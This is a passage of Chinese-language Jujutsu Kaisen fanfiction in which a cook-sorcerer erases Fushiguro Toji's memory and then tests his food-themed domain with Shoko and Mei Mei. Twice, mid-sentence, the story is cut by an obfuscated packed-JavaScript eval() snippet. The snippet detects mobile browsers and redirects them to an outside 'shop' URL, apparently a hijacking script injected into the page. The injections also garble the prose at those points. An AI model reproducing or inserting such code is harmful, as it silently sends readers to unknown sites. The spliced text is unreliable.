他若有所思地垂眸,看着手掌上某种无法以文字解读的【概念】渐渐淡化,在彻底消失时,手恢复成了原本的样子。 开玩笑归开玩笑,其实以前他就发现了,他的术式虽然被称为【剥夺】与【赋予】,但是起效归起效,想要“维持”的话就必须注入更多的咒力,时间长短与注入的咒力量相关。 时间一到,这份【概念】就会消失。 所以在剥去一部分系统的概念时,他也理所应当地认为,这一部分概念会随时间消失。 但是因为这次剥去的概念很特殊吗?它虽然确实从那柄刀上消失了,但却更像是“隐藏”在了某种未知的空间,在他情绪激动时,就能自然而然地“使用”出来…… 栗秋焰皱起眉。 要说有什么特殊的话……难道说,是因为剥离的对象是【人】? 手机铃声突然作响,栗秋焰心中一跳,从沉思中惊醒。 “硝子……” 他下意识抓起手机,才发现屏幕上是一个不认识的号码。 “喂?” “……” 那边的人没有说话,只有听筒中传来一声漫长的气声——打电话的人深吸了一口烟。 烟头燃亮的一圈迅速缩近,在靠近唇的位置停下。横跨过整个嘴角、泛白鼓起的刀疤动了动,在涌起的雪白烟气中,一双深绿眼眸暗沉如野兽,盯着门口“伏黑”的门牌。 伏黑甚尔眯起眼,伸手向后,人面虫身的咒灵缠缚在他肌肉鼓起的肩背上缓缓游动,张大了嘴。 “出门,我来送货。” 甚尔的声音毫无起伏,分辨不出喜怒的脸转向门口,行走间无声无息,向后的手腕绷紧,咒灵大张的嘴中冰冷的锋刃慢慢滑出——他抽出了一把长刀。 “哦!是送货人先生吗!我马上就来!” 毫无防备的欢快少年声音响起,紧接着就是临近的急切脚步,伏黑甚尔挂断了电话。 锋锐的冷光一闪,甚尔立于门前,紧盯大门的眼睛隐于阴影处,宛若捕猎时蓄势待发的猎豹。 看到门牌时他就想起来了,这是那个女人的房子。他入赘后,惠……那个小鬼就住在这里。 理论上,这也是他的“家”。但这个字眼真是说起来就可笑,这个人不会以为在这个房子里,他就会投鼠忌器任人拿捏吧? 伏黑甚尔懒得管这人有什么弯弯绕的阴谋诡计,示威?威胁?合作?那都无所谓,他甚至不关心这人是用了什么手段搞到他的地址,又是怎么住进去的。 脚步声停在了门前。似乎有所迟疑。 早已沉腕将刀挡在身后的甚尔眯了眯眼。丑宝爬过来,箱子的一角从咒灵的口中露出,接着沉重的铁箱沾着口涎完整显出,砰一声掉落在门前的地上。 似乎门内的人终于放下心来,门把手转动的声音响起。 伏黑甚尔反手握刀,沉绿的眼眸锁定了即将开启的大门。箱子里面可能是什么定制的强力咒具吧,但甚尔同样丝毫不关心。 原因仍是一样。 ——因为没必要关心一个死人。 门开了。 伏黑甚尔骤然暴起,持刀的手瞬间发力,立刻便要以迅雷不及掩耳之势贯穿少年的心口—— “……爸爸?”伏黑惠迟疑道。 伏黑甚尔的手猛地停住了。 小小的惠站在栗秋焰的腿边,瞪大眼睛看向面前的男人。 “啊?!”栗秋焰也震惊了:“这个送货人……是你那个人渣爸?” 这也太巧了吧! 伏黑甚尔完全没反驳关于“人渣”的部分,只是眯起眼,上下扫了一遍栗秋焰。 看到真人后他才发现,他可能误解了什么。这小鬼头不是什么诅咒师——哪个杀|手身上一点血味儿都没有? 想起那个导致他误解的委托,伏黑甚尔问道:“你到底订了什么货?” “锅啊!我的锅!”栗秋焰激动道:“终于到了——你知道没有煎炸炒烧的日子,对一个厨子来说有多残忍吗!” 伏黑甚尔:“……呵,竟然是个锅。” “喂你那嘲讽的表情是怎么回事!”栗秋焰立刻抗议:“其实你是想说‘呵,原来就是个厨子’吧!没错,我就是——厨子怎么你了!” 伏黑甚尔观察着面前愤愤不平的少年,发现他的视线全程只在箱子以及自己的脸上停留过,面对攀附在自己身上、缓缓蠕动的咒灵,则是连下意识的注视都没有。 甚尔动了动手指,咒灵立刻人立而起,迅速冲向栗秋焰面前,猛地张开大嘴。 粘稠的涎水丝缕地滴落,栗秋焰面不改色,碧绿的眼睛眨也不眨,视线直直地穿过咒灵注视过来,像是水头通透的玉石珠子,除了漂亮一无是处。 咒灵缩回身上,伏黑甚尔暗嗤一声。 ……只是个幼稚的普通人小鬼而已。 伏黑甚尔懒得理面前的少年,刀锋般紧绷的眉眼松懈下来,敷衍地随意挥了挥手。 “这地方,你想住就住吧。” 接着他的视线向下,移向紧紧抿着嘴唇不说话的伏黑惠,懒懒道。 “至于你,好好待着,别死、也别给老子惹麻烦——” 伏黑甚尔的声音突然停住了。 他看见了伏黑惠有些细微颤抖着的身体。 甚尔眯起眼。咒灵再度立起,他清晰地看到,伏黑惠的瞳孔下意识地随着动起来的咒灵游移了一瞬。 然后他也看见了,栗秋焰牵着惠的手,早有预料般提醒地捏了一下。 伏黑甚尔缓缓裂开嘴角。 “……行啊,差点被你骗了。” 甚尔再度握紧刀,自上而下地俯视着栗秋焰不再伪装后平静下来的脸,眼中闪过残忍的笑意。 “小鬼,你是咒术师吧?” 栗秋焰抬起眼,绿眸平淡。 “没错,我是。”他坦然道:“不过我还是更觉得我是个厨子。” 伏黑甚尔发出一声嗤笑。 他不再掩饰气息,整个人如一把出鞘的嗜血宽刀,持刀的手腕绷紧,手臂松松垂落,明明姿态悠闲了起来,却愈加散发出宛若实质般危险的强大压迫感。 “这就是你的遗言了么?”伏黑甚尔轻松道。 栗秋焰看向他,刚想说话,小小的伏黑惠已经猛地一横,张开双手挡在了两人中间。 “爸爸,我不知道你……但你、你……你不管我就算了……这么好的栗秋哥哥……你竟然……!” 久未见面的父亲一见面就拿出刀,明显还控制着那种困扰他的怪物,看样子还要杀死栗秋哥哥……过大的信息量冲击得伏黑惠的大脑一片混乱,让他顾不得其他,只能先抓住了最在意的一点。 “不许伤害栗秋哥哥!” 伏黑惠身体微微颤抖着,但仍坚定地挡在了栗秋焰面前。 栗秋焰感动坏了,当即决定今晚夜宵炒个猫耳朵给孩子加餐。 惠惠啊!好孩子! 但是……你打你爹,真的假的? 栗秋焰慈祥又怜悯地蹲下,摸了摸伏黑惠软软的海胆头。 “惠惠啊,你有这份心哥哥就很高兴了……” 伏黑惠脸红了,又恼又急地大声道:“栗秋哥哥!” 这可是生死危机啊!你正经点,别发神经了啊!! 伏黑甚尔将刀背搭在肩上,不耐烦地啧了一声,打断了那边碍眼的兄友弟恭。 “喂,小白眼狼,他是你哪门子的哥哥?”甚尔烦躁道:“老子可不记得还有个这么大的狐狸崽子。” “对着我这张池面脸你怎么说得出口的!”栗秋焰震惊道:“我一看就家庭美满亲子和谐,我爸除了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399884|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠谱之外一直很靠谱,除了胸也很大之外,和你没有任何相似之处……总之,别蹭啊!” 伏黑甚尔:…… 伏黑惠已经羞耻地捂住了脸。 栗秋哥哥,你真的……正常点吧! 甚尔突然笑了一声。 “你有挺有意思的,小鬼。”他声音沉下:“……但我,不喜欢留隐患。” 说完后他便提刀压身向前,腰腿发力,一瞬间便已至身前,没有任何多余的动作,举刀就抹向栗秋焰的脖颈! “玉犬!” 腿上传来扯力,甚尔转眼一扫,看到了腿上咬着的两只小狗,当即瞳孔一缩。 十种影法术! 伏黑甚尔深深地看了一眼正双手结印,紧张又愤怒地瞪着他的伏黑惠,突然单手捂眼爆发出了一阵大笑。 “竟然……禅院家期待了这么久的……竟然是老子的种!真是太好笑了!” 他笑了几声,随即又倏然停下。 “小崽子,老子今天就教你上第一课。” 甚尔一个甩腿,毫不留情地把两只小狗踢到一边,面无表情地提起栗秋焰的衣领。 “给我好好铭记于心吧。太弱,就只能这样,看着你想保护的人死在面前。” 甚尔将刀按在栗秋焰的脖颈上,暗绿色的瞳孔压迫地俯视而下。 但被用刀抵着的栗秋焰出奇平静,碧绿的眼睛注视着甚尔。 “好糟糕的家庭教育,大叔你不会从小缺爱吧。”栗秋焰竟然还有心情吐槽:“而且一定要当着孩子面杀人吗,惠惠会恨你的吧。” 伏黑甚尔露出血腥的一笑。 “想报仇随意,随时奉陪。”伏黑甚尔笑道:“我等着他来杀老子。” 话音一落,他当即发力挥刀! 伏黑惠瞳孔骤缩,失声道:“栗秋哥哥!” 面对着迎面而来的刀锋,栗秋焰的表情仍然十分平静。 “是么。”栗秋焰淡淡道:“可是惠惠凭什么要变成恨上亲人的可怜孩子呢?” 他抬起手,似乎想阻拦刀落下的趋势,伏黑甚尔当即加力,要将他的手连带脖颈一同砍断! 但是刀锋落下——却径直穿过了手掌。铁灰色的虚幻色彩闪过,像是砍中了一团幻影。 判断失误,伏黑甚尔瞳孔骤缩,但此时因距离太近已避无可避,他只能眼睁睁地看着那只奇异的手接近,然后猛地穿透了他的眉心! 大脑一片空白,最后的视野中,是栗秋焰平淡的眼睛。 ……这狐狸崽子,是故意的么? 没想到我这种人,竟然会栽在这种小鬼手里…… 伏黑甚尔的意识模糊中,看到了自己手中惯性下落的刀——而那小鬼竟然也不躲。 伏黑甚尔甚至想笑,你到底在干什么,就这么自信自己的判断吗——你不会觉得我这种人有什么良心吧? 反正老子死定了,那就发发狠把你一起干掉,还多个陪葬的。 伏黑甚尔刚想用最后的意识操控身体加力,就看见一旁飞身扑来的伏黑惠。 “栗秋哥哥!” 男孩的声音颤抖着。 伏黑甚尔在心底啧了一声。 栗秋焰微微弯起眉眼。 ……这讨人厌的狐狸崽子! 伏黑甚尔骂了一声脏话,用最后的意识操控着身体——松开了手。 长刀当啷一声落在了地上。 一声重响,伏黑甚尔沉重的躯体倒在了地上。 栗秋焰垂眸,冷静地注视着甚尔闭上的眼睛。 “栗秋哥哥……”伏黑惠拽了拽栗秋焰的衣摆:“爸爸他……死了吗……?” “嗯……”栗秋焰若有所思道:“不知道,毕竟我也是第一次试……哦不对,应该算第二次?” 伏黑惠正发愣,就听见躺在地上的伏黑甚尔……发出了微弱的呻|吟。 男人的身体动了动,接着开始缓慢地动作。 伏黑惠先是下意识高兴了一下,紧接着又警惕起来,担忧地抓住栗秋焰的手腕:“栗秋哥哥……” “没事的。”栗秋焰淡定地拍了拍他:“应该。” 伏黑惠:“……这种时候就不要开玩笑了啊!” 无意识的呻|吟声停止了。伏黑甚尔直起腰,慢慢坐了起来。只是一只手仍捂着额头,闭着眼,眉头深深皱着。 伏黑惠紧张地看着他。 “这是……怎么回事?” 伏黑甚尔睁开了眼。 惠甚至以为自己产生了错觉……怎么感觉,爸爸的眼睛突然十分清澈? 一年级的小学生惠惠,产生了不详的预感。 下一秒,预感立马应验了。 “这里……是哪里?”伏黑甚尔看向面前的惠,陌生地扫过,又抬头看向栗秋焰。“你们是谁?” 他又低下头,审视般注视着自己的手掌,犹疑又困惑地皱起眉。 “我……我是谁?”伏黑甚尔嘶了一声,颇有些烦躁道:“头痛得要命,什么玩意儿都想不起来……” 伏黑惠:“……?!” 他爸,伏黑甚尔……失忆了! 在这混乱至极的情况下,全场唯一淡定的,只有某个神经病。 “人渣父亲爆改狗血文主角。”栗秋焰乐道:“妙手回春啊我。” 伏黑惠:…… 很难想象,全家最像正常人的竟然是两个小学生。 “栗秋哥哥!都说了这种时候就不要开玩笑了啊!!!” 伏黑宅中,传出了伏黑惠发自心底的崩溃呐喊。 13.惠惠x猫耳朵 伏黑甚尔捂着头,暗绿的瞳孔聚焦。惶惶的重影中,他掀起眼皮,睨着眼前一大一小两个身影。 虽然大脑一片空白,但恍惚间他仍隐约感觉到,有什么东西怅然若失,心脏在胸膛中一下下空虚地跳动。 但出乎意料的是,除了无法掌控现状的焦躁外,他竟然还有一丝……轻松? 伏黑甚尔意识到这点时,只感觉荒谬到不可思议。 他可是…… 他是谁? 似乎有古朴庞大的日式庭院一闪而过,阴暗的咒灵扭曲着张开嘴,但这些一闪而过的画面,在被主人意识到之前,这些通通就消失在了大脑深处。 只有一阵痉挛般的撕痛。甚尔嘶了一声,下意识判断自己是中招了,眼前这两个人,很危险! 即使记忆仍是一片空白,他仍迅速调整好了状态,瞬间翻身而起,一手攥住了面前小孩的脖颈! 伏黑惠:……! 甚尔眯起眼。即使是失忆状态下,这个男人仍危险如野兽。暗沉的瞳孔居高临下,冷锐地审视着惠。 “……”惠的唇嗫嚅了一下,却没有说话,只是赌气般倔强地瞪着男人。 但男人的手却迟迟没有动作。 甚尔垂首,脸上渐渐浮现出些许困惑。 他近乎粗暴地捏住惠的下颌,左右转了转,接着沉默地顿了顿后,抬起了手。 惠下意识闭上了眼。 但想象中的重击没有到来,那只手落下——按在了他的头上。 伏黑惠惊讶地睁开眼。 甚尔神色复杂地看着他。 “虽然只想起了一个模糊的影子……” 甚尔宽大的手掌下滑,惠的瞳孔颤动了一下,他感觉到甚尔粗糙生茧的虎口摩擦过额侧,停留在自己的眼眶上。 惠与甚尔的眼睛对视,突然意识到——这个男人眼中透露出的,某种复杂又惘然的情绪,并不是流向自己的。 他在透过时间,探寻一个记忆中模糊的幻影。 “但是……你的眼神,很像她。” 似乎终于触及到幻影清晰的面容,女人抱着婴儿回首笑着,然后…… 甚尔眼中流露出些微的痛苦,紧接着,瞳孔猛地一缩。 “栗秋哥哥!”伏黑惠震惊道。 一只虚幻的手穿胸而过。 “别害怕,惠惠。” 栗秋焰温和地笑着,穿过甚尔的胸膛的手腕缓缓转动,攥住了虚空中的某样东西。 然后,干脆利落地猛地抽出。 伏黑甚尔应声倒下。没有血,也没有创口,只有砰一声重响。 惠愣愣地看着淡定放下手臂的栗秋焰。 之前事情太过危急,距离也有些远,伏黑惠只看到了栗秋焰的手穿过了甚尔眉心,但现在这个距离,他清晰地看见了—— 栗秋焰……拿走了某样【东西】。 “栗秋哥哥……” 伏黑惠沉默了一瞬,紧接着抿起唇,牵住了栗秋焰的衣角。 “爸爸会失忆……是因为你拿走了爸爸的记忆吗?”惠小声道。 没想到,栗秋焰摇了摇头。 “我拿走了他的……两样东西。”栗秋焰眨了眨眼睛:“但没有一样是【记忆】哦。” 毕竟他剥去的是“概念”。如果剥去【记忆】标签的话,那不止已经拥有的“记忆”,甚至可能连“记忆”的能力都会被一同剥离大半……他可不想面对一个武力值奇高的老年痴呆患者。 “是什么东西?”惠问道。 栗秋焰弯了弯眼睛,竖起两根手指。 “第一个是……【执念】。至于第二个……” 栗秋焰收回一根手指,另一根则神秘兮兮地移动,轻轻贴上唇前。 “保密。”栗秋焰笑了一声:“惠惠可以试着自己猜猜看?……反正时间很多嘛。” 伏黑惠愣了一下,这才反应过来他话中的意思。 “栗秋哥哥,你是说……”惠迟疑道:“我们要把爸爸留下来,一起生活?” 他自然是想的,但是…… 伏黑惠抬起头,注视着栗秋焰,攥住衣角的手向上,悄悄牵住了栗秋焰的手。 “我没关系的,栗秋哥哥。”惠小声道。 ……明明几分钟前,爸爸还差点杀死你啊。 栗秋焰笑了一声,自然而然地摸了摸惠的头顶。 “总不能把你爸丢外面自生自灭吧。”他轻松道:“多个人吃饭的事儿。” 而且,除了自己之外,这个男人还是第一个被他剥夺“概念”的活人……总感觉,假如出了什么治好了也流口水的异常状况,他会良心不安啊…… 俗话说士可杀不可辱,无论是出于人道主义精神,或是了解新术式dlc的必要,还是留下来观察一下吧。 而且,假如他的推测没错的话,即使品行上是个烂人,这个男人此时也应该处于人生中最不烂的时期……应该。 “总之。”栗秋焰用托孤般严肃的语气道:“就交给你了,惠惠。” 伏黑惠:“诶?我?” 面对一年级小学生不可思议的眼神,栗秋焰望天假装没看见,一个滑步就进了厨房。 “我去炒个猫耳朵~” 伏黑惠:“这也太乱来了!就算你做好吃的我也不可能——” 伏黑惠:“……真香。” 黑发小孩坐在桌边,鼓着腮帮子一脸严肃地嚼嚼嚼,虽然脸上扮酷般没什么大表情,但一双眼睛比头顶的灯还亮。 “那当然,这可是我做的。” 栗秋焰洗了手出来,抄起筷子夹了一筷子,满意道:“不愧是我。” 西红柿激发出肉丝的香味,糊化的酱汁均匀挂在小巧的猫耳朵上,一口一个,配上碳水面食给人的最纯粹的快乐,完全无法抗拒。 “这个算种花家的家常料理,叫猫耳朵,但也有不少方言别称,比如搁坨儿、耳多多……” 栗秋焰吃两筷子就停了,闲聊起来。 伏黑惠嘴上不停,视线来回移动,看起来理性上非常想认真听,但身体又不受控制地被美食吸引回去,十分纠结。 栗秋焰眨了眨眼,勾起嘴角一笑。 要是高专同期们看到这个笑容,就会立刻迅速提起警惕——每当栗秋焰这么笑时,就代表他开始动恶作剧的坏心思了。 但伏黑惠还不够了解他,所以只是毫无准备一脸纯良地望着他。 “惠惠啊,你知道这道料理为什么叫猫耳朵吗?” 伏黑惠嘴里塞得满满的,艰难地才挤出一个词:“唔、唔唔……外形?” “嗯哼。” 栗秋焰夹起一筷子,弧形的面片一端翘起,果真像一只……看起来就很好吃的小猫耳朵。 “但是啊惠惠,你知道为什么我做的猫耳朵这——么好吃吗?”栗秋焰神秘道:“你过来点,告诉你我的独门秘诀。” 惠不疑有他,表情认真地凑了过来。 “种花有句古话,叫做‘以形补形’。所以这么好吃,是因为……”栗秋焰说:“这里面有真的小猫耳朵哦。” 伏黑惠:!!! 惠被吓了一跳,表情变化时栗秋焰突然上前,用还沾着水的手,往他头发上一捏。 两大撮黑发被捏成尖尖, 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难道说,因为这场预料外的突然退学,那些人一时失去了他的下落,就将矛头转向了他的朋友……? 虽然理智上清楚,只要那群人还有脑子,就不会对珍贵的“反转术式”拥有者下手,但是…… 栗秋焰的眉头越皱越紧。 他手指滑动,翻找号码——哦五条悟被他删了,跳过,栗秋焰打了个电话给夏油杰。 夏油杰似乎在任务中,听到栗秋焰的问题有些惊讶:“硝子?她好像今天才结束任务……放心,她之前才说已经回高专了。” 就是回了高专才不放心啊! 栗秋焰挂了电话,立刻决定回高专一趟。 “惠惠,等你爸醒了看好他。”栗秋焰边向门走,边心不在焉道:“我有点事出门,晚上回来。” 伏黑惠:“……??” 我,看好我爸?有哪里不对吧……! 砰一声,栗秋焰关上了门。但出门后他总感觉忘了些什么,灵光一闪后他恍然大悟。 【系统,活着呢吗?】 一声细微的电流变动音,脑中传来系统幽幽的回复。 【……1。】 【活着就行。】栗秋焰丝毫不在意:【把厨具都收进背包……哦,还有我的海鲜,别忘了。】 系统哽了一下,似乎不相信有人类比电子生命还冷酷无情。不仅如此,还喜怒无常、傲慢任性…… 但那能怎么办呢?打又打不过,他给的能量也是真的多……嗝。 系统默默抹了一把并不存在的电子眼泪,在心里发誓以后说话一定要更加小心。 【……收到。】但在完成栗秋焰指令后,系统还是忍不住吐槽了一句。【宿主,有没有人说过你很像暴君?】 【怎么可能?】栗秋焰:【百官皆赞朕是明君……等等。】 栗秋焰骤然停下脚步——他察觉到了某种微妙的注视。 但四下里空空荡荡,别说呼吸声了,连心脏的跳动声都没有,只有乍惊的鸟雀飞起,嘎嘎叫着掠过天空。 那股被注视感消失了。 栗秋焰眉头紧锁,直到登上高专前最后一级台阶,站在朱红的鸟居下时,那股微妙的不对劲感仍然在持续鸣响着。 再往前一步,就进入高专内部的结界了。 夜风吹过,山林间叶涛哗然,一只乌鸦飞过,粗哑的叫声仿佛某种不详的预示。 栗秋焰深吸了一口气。紧接着向前一步,踏进了高专的结界。 14.四个人可以组一辈子高专组吗 风的气息……变了。 栗秋焰瞬间抬眸,但紧接着无数乌鸦俯冲而下,鸟雀扑翅声干扰了听觉,禽类的热量与气味迷惑了他敏锐的感官一瞬,让他没有第一时间锁定来者的位置。 锋锐冰冷的破空声响起,是在……上面! 栗秋焰猛地转身后撤,一柄巨斧几乎是擦着他的耳边劈砍而下,携着厉风,狠狠击中了他脚边的地面。 袭击者随之落地,淡蓝色的发丝飞扬,女人身姿高挑,信手便将沉重的巨斧转了几圈,轻松地单手扛在肩上,微微笑着。 “果然是你啊……”栗秋焰呼出一口气:“冥冥前辈。” “比我想得敏锐呢,男孩。你真是四级?” “货真价实。” “那群老头子还真是白长了双眼睛啊。”冥冥叹了口气,“用这个价格接你这一单,实在太亏了……必须得加钱。” “那要不,您高抬贵手,放我一命?” “想什么呢,男孩,我收了钱的。”冥冥笑着,横臂持斧,“老实点,拿出你所有的本事吧。” 话音刚落,她便发力跃起,几乎是瞬间便已至面前! 栗秋焰抬眸,手上虚幻的色彩一闪而过。 但在将要举起时,他瞳孔一缩,突然意识到了什么。 ——不对! 栗秋焰将要虚化的手瞬间凝实,但这一个犹豫间,冥冥的斧刃最前端,已贴上了他的脖颈。 冥冥眼中惊讶的神色一闪而过,但紧接着,她看到了栗秋焰那双冷静的眼睛。 他的手上突然多出了什么东西,紧接着一股庞大的咒力骤然爆发而出! 一丝血线缓缓渗出——斧刃最前端已划破了栗秋焰的皮肤,但此时无论如何动作,力量都宛若泥牛入海般,牢牢被限制在原处,不得寸进。 “领域展开。” 栗秋焰平静道。 他抬起手,直接将手指抵上了斧刃。明明是以血肉之躯对抗冰冷的铁器,但他的指腹丝毫无损,反而是冥冥手中的斧头,被莫名的斥力逼得一步步后退。 退到最后,冥冥的手腕颤抖了下,巨斧更是直接脱手,掉落在地。 局势登时逆转,但冥冥却笑了起来。 “果然啊,男孩。这下情报能更新了。”她笑着打了个响指:“即使没有‘食客’提供出的种种效果……你的领域,本身也自带‘禁止战斗’的能力。” “毕竟来吃饭的人突然开打了会很奇怪吧。”栗秋焰擦去脖颈上的鲜血,淡定道:“又不是武侠剧。” “你还真是个有趣的人呢。”冥冥挑了下眉,“但是果然还是亏了啊……这加的钱必须得双倍才行。” 栗秋焰眨了眨眼睛。 他的视线转向某处,又转了回来,故意夸张地开口道。 “啊是啊,而且双倍怎么够?”栗秋焰大声道:“起码也要加三倍——不,四倍——” “差不多行了。” 一个身影从树后转出,缓缓走到两人面前。 “早知道不花钱拜托冥冥前辈了。”家入硝子懒懒道:“得了便宜还卖乖啊你。” “喂!是真的吓了我一跳哎!”栗秋焰愤愤道,紧接着顿了一下后,又欲盖弥彰地补了一句:“……我指差点以为自己真的要被买凶杀死这件事,不是别的。” 绝对不是因为,差点以为硝子你要被暗害了……绝对不是! 家入硝子睨着他,带着笑意哼了一声。但声音倒是柔和下来不少。 “普通骗你来的话,你那见鬼的观察力一下就发现了,那样怎么测试你那个新领域?”硝子含糊道:“再说了,你不还是发现我了么。” 栗秋焰确实早就发现了家入硝子的位置……也不是非常早。一开始担忧干扰了他的判断,而冥冥的乌鸦又短暂遮蔽了他的感官,攻击瞬间便接踵而至,让他不得不被迫迅速迎敌。 但在打斗过程中,那种微妙的怪异感越来越重。在他为了自保差点使出那一招时,他突然嗅到了一丝风中飘来的……烟味。 那烟味细到不能再细,如果是普通的种类他也就忽略过去了,但那烟味……他太熟悉了。 这是家入硝子常抽的牌子。 太熟了,熟到一闻到手就已经自动捏成拳头了啊! “那种事先不说……”栗秋焰啧了一声:“不是说戒烟吗?又抽了个爽是吧?” 家入硝子僵硬了一下,表情镇定自若,但眼神已游移至一旁。“……我觉得,还是讨论一下你的新领域吧。这件事比较重要,嗯。” “哟哟哟,这不是代表着先进现代科学精神的医师小姐吗。”栗秋焰阴阳怪气道:“你的现代医学怎么没教你吸烟有害健康啊?还是说医师小姐的意志力,比那些烟熏肺的x光片还薄弱?” “……总比你那奇怪的迷信医学好,说真的,可以别再自称那种神鬼巫学为医学了吗?” 这感觉太熟了,家入硝子还没反应过来,已然习惯性如鱼得水般进入了以前的日常状态中。 这还要说回一年前。从入学初始,因家庭教育而持有整套中医体系观念的栗秋焰,就与正钻研医学、甚至想考个执业医师证的家入硝子,产生了十分强烈的理念冲突。 具体表现为—— 家入硝子的看法:不尊重,不理解。 栗秋焰的看法:不尊重,不理解,还诋毁。 刚开学时,两人还秉持着社交礼貌彼此忍让,但当一开始装一下的时期过去,两人的矛盾就越发扩大,最后终于在不慎倒霉患病、还同时被两人看到了的夏油杰身上爆发了。 两人大吵一架,然后定下赌局,一人一天,按自己的方法进行诊治—— 然后发现,他/她的治疗,好像真的是还蛮有效果的……? 夏油杰病愈,两人的赌局以平局结束。之后两人交流就日益多了起来,虽然没再发生过那种大吵……但冷嘲热讽地互呛已经成为日常了。 假如说夏油五条这对组合,在理念冲突中,能动手绝不废话的话;那栗秋和家入,就绝对属于能斗嘴绝不动手的模式——不过可能,两人都没什么战斗能力也是原因之一。 五条悟曾形容他们吵架,“像两只毒属性的宝可梦一边向对方喷射根本毒不死的毒汁,一边用歹毒的天书攻击所有无辜路过人的大脑。” 就像此时,栗秋焰呵呵笑了一声。 “无所谓,等你走到西医告诉你切肺才能治好那一步时,我会不计前嫌出手的。不过放心,我会在一切可以的地方狠狠加黄连——” “放心,没有那一天的。”家入硝子也呵呵一声:“比起那个,我觉得你的脑子更需要治疗啊。要不做个开颅手术看看吧?还是说你更需要多奈哌齐和卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445063|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴拉汀透皮贴剂?” 眼看话题要往一去不复返的深渊坠去,冥冥做了个打住的手势,及时拉住了这个危险的趋势。 “我知道你们的关系很好。”冥冥笑道:“但我的出场费可是很贵的哦——还是尽快进入正题吧?” “并不好。”栗秋和硝子立刻异口同声地反驳。 栗秋焰:“……” 家入硝子:“……” 冥冥玩味地笑了一声,冲他们挑了下眉。 “总而言之,家入小姐请我来测试你的领域……嘛,不过感觉我像是来当试验体的呢?”冥冥感受了一下:“嗯,咒力比起被抽走,更像是被‘锁’住了。” 家入硝子听到这话,反而微微皱了下眉。 “就算是‘禁战’,但这样的话,入侵方不会消耗咒力,反而是焰需要一直维持领域。”家入硝子理智分析道:“这样岂不是只需要一直僵持等待,等焰领域结束就能轻松杀掉他?” “……轻松这个形容词是必要的吗?”栗秋焰震声道:“可别看轻了我们概念系啊!可恶!” “请对自己有点自知之明。”家入硝子瞥了他一眼:“一个厨子就不要在战力问题上发言了。” “一个奶妈在说什么呢!” “……不。” 没想到,冥冥竟然否定了硝子的推测。 “即使再强的入侵者,估计也撑不到这个领域结束。” 冥冥将手按在小腹上,露出了若有所思般的表情。 “一开始还以为是错觉,但现在这感觉越来越强烈,往后简直在翻倍增长,完全无法忽略啊。” “什么感觉?”硝子问道。 冥冥还未回答,但栗秋焰已隐隐有了答案。 “饥饿。”冥冥垂下眼睛:“而且越来越饿……这种饥饿感,甚至能从□□直达灵魂。” 家入硝子一怔。 “这几乎接近某种规则类的【束缚】,我有预感,如果一直抵抗这份饥饿,坚持不食用领域主人的料理的话……”冥冥沉下声音:“我一定,会死。” 空气寂静了一瞬。过了片刻后,栗秋焰的声音才缓缓响起。 “但相应的,只要食客请求,我也必须提供料理。而且必须是纯粹的‘料理’,不能在料理中做下毒之类的手脚……” 栗秋焰轻快一笑。 “我已经完全明白了。我的领域就是一个巨大的包饺子。”栗秋焰玩笑道:“管你是谁,进来了就得统统坐下来吃碗饭再走——概念之力,朋友!” 进入者被强制必须食用料理,而只要触发喜好标签,食客就会被抽走咒力,术式和领域也会被压于栗秋焰的领域之下,成为领域效果的一部分。 ——天才厨子最有含金量的一集! “总之……” 在硝子微微瞪大的眼睛中,栗秋焰单手掏出一口大铁锅——他刚刚就是从系统背包中抓出了这个,及时开出了领域。 经过排除变量法,栗秋焰已经发现了。可能是领域本身的特殊性,他发动领域,不需要结印、没有口号,但却需要触碰厨具——虽然系统背包能解决这一问题,但这也太厨子了吧! 果然,比起当咒术师,还是当厨子更适合他…… “总之,事已至此。” 栗秋焰淡定道。 “还是先吃饭吧。” 15.冥冥x菠萝咕咾肉 栗秋焰依次掏出推车、椅子、灶台、厨具、调料…… “我姑且问一下。”硝子忍不住道:“你使用储物的咒具,为什么没有咒力波动?” 栗秋焰望着她。 硝子:“……是储物的咒具,对吧?” 栗秋焰的眼神飘忽了一下。 硝子:…… 栗秋焰:“你们看轻小说吗?其实这是我的随身空间,里面有灵泉灵田,还有会炼丹修仙的老爷爷。” “……轻小说里并没有这种东西吧。” 栗秋焰:“好吧,其实这是我的系统背包。” 系统:【!!!!】 硝子叹了口气,冥冥则笑起来。 “越说越离谱了啊。”硝子斜了他一眼:“别介意,冥冥前辈,这家伙说话风格一直这样,满嘴跑火车……神经的话当没听见就行了。” “挺有趣的。”冥冥坐下,笑道:“我没什么这种体验呢,高专同期的脸都记不清了。” 硝子沉默了一下,突然问出了一个有些突兀的问题。 “他们,死了吗?” 冥冥尚未回答,栗秋焰倒是动作一顿。 对于仅仅是简单熟悉的前辈,这不像是硝子会问出的问题啊。 栗秋焰突然想起,她是刚执行完“任务”回来的,而需要反转术式完成的任务…… ……大概,又是救治几近濒死的咒术师吧。 心念电转间,栗秋焰已将硝子这次的任务情况猜了个七七八八,抿住了唇。 身为医师,便已做好准备承担重负。生死无常,尽力而行就无愧于心。但逝者已矣,努力救下的生者,却仍要继续返身投回与咒灵的死斗。 咒术师几乎没有善终。看着人命从手上川流而过,硝子她,会想些什么呢? “大概吧,没关心过。”冥冥随意地拨了拨头发,“毕竟同学情又不能拿来换钱。” 